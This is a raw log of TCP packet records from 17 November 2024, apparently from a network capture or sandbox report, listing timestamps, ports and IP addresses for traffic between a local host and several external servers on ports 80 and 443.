Nov 17, 2024 12:35:35.834791899 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.835437059 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.835524082 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.835611105 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.835794926 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.835827112 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.836126089 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.836139917 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.836616039 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.836638927 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.836999893 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.837040901 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.837146997 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.837182999 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.969839096 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.969894886 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:35.970019102 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.970334053 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.970386028 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:35.970761061 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.971309900 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.971344948 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:35.971575975 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.972203016 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.972217083 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:35.972753048 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.972774982 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:35.972935915 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:35.972954035 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.008193016 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.008246899 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.008331060 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.009095907 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:36.009109974 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:36.109951019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.109966040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.109978914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.109992027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110001087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110028028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110075951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110093117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110095978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110107899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110120058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110162973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110166073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110183954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110203028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110270977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110291958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110332012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110363007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110373020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110409021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110433102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110521078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110532999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110538960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110573053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110630989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110662937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110737085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110780954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110794067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110832930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.110846043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110927105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110938072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.110946894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.111023903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266330957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266449928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266460896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266474962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266524076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266551018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266575098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266586065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266586065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266604900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266680002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266691923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266702890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266711950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266711950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266726017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266747952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266747952 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266803026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266815901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266860962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266860962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.266907930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266918898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266931057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.266946077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267110109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267158031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267173052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267204046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267209053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267209053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267251968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267251968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267276049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267287016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267502069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267554998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267566919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267604113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267604113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267653942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267664909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267676115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267690897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.267719030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267719030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.267868042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.271347046 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.272365093 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.272393942 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.272726059 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.272996902 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.273052931 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.274720907 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.319329977 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.385164976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385205984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385217905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385284901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.385286093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.385327101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385338068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385350943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385363102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385402918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.385402918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.385473013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385484934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.385529995 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.417887926 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.417943001 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.418081045 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.418179035 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.422557116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422579050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422686100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422710896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422715902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422724009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422764063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422764063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422858000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422869921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422882080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422894001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.422907114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422938108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422950983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.422992945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423007011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423139095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423178911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423269033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423274994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423286915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423335075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423335075 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423377991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423388958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423398972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423413038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423418999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423449039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423537016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423543930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423625946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423639059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.423671961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.423671961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.427599907 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.427635908 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.428106070 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.428137064 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.428352118 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.428703070 CET	49866	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.428719044 CET	443	49866	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.473232031 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.473844051 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.473869085 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.475012064 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.475033045 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.477072954 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.477466106 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.477483988 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.477860928 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.477865934 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.484654903 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.485088110 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.485106945 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.485569954 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.485580921 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.486211061 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.487848043 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.487864971 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.488466978 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.488471985 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.489417076 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.491031885 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.491050959 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.491446972 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.491452932 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.503622055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503633976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503657103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503709078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.503709078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.503720999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503734112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503767014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503832102 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.503907919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503918886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.503976107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.504045963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.504097939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.504108906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.504121065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.504159927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.504162073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.504163027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.504199028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541282892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541306973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541318893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541364908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541364908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541379929 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541392088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541440964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541440964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541609049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541620970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541632891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541651964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541665077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541671991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541765928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541773081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541774988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541816950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541816950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541888952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541902065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541914940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541927099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541946888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.541949987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.541961908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542083025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542231083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542248964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542259932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542287111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542287111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542363882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542382002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542406082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542417049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542557955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542570114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:36.542607069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.542607069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:36.561173916 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.561496973 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.561518908 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.562611103 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.563014984 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.563163996 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.563185930 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.564951897 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.565383911 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.565406084 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.566446066 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.566509008 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.567523003 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.567584038 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.567734957 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.577734947 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.577917099 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.577936888 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.579164028 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.579233885 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.579628944 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.579725981 CET	443	49860	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.579772949 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.580091953 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.580614090 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.580625057 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.582844973 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.583009005 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.583101988 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.583194017 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.583199978 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.583308935 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.583323956 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.583452940 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.583467960 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.583910942 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.583916903 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.583986044 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.584619045 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.584686041 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.584892988 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.584898949 CET	49862	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.584954977 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.584978104 CET	443	49862	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.585380077 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.585481882 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.585509062 CET	49864	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.585750103 CET	443	49864	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.585798979 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.585860968 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.585999966 CET	49861	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.586007118 CET	443	49861	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.586055040 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:36.586060047 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:36.587711096 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.589096069 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.589117050 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.589545965 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.589905977 CET	49863	443	192.168.2.5	23.221.22.207
Nov 17, 2024 12:35:36.589967966 CET	443	49863	23.221.22.207	192.168.2.5
Nov 17, 2024 12:35:36.603202105 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.603326082 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.603437901 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.603821993 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:36.603836060 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:36.603884935 CET	49852	443	192.168.2.5	13.107.246.45
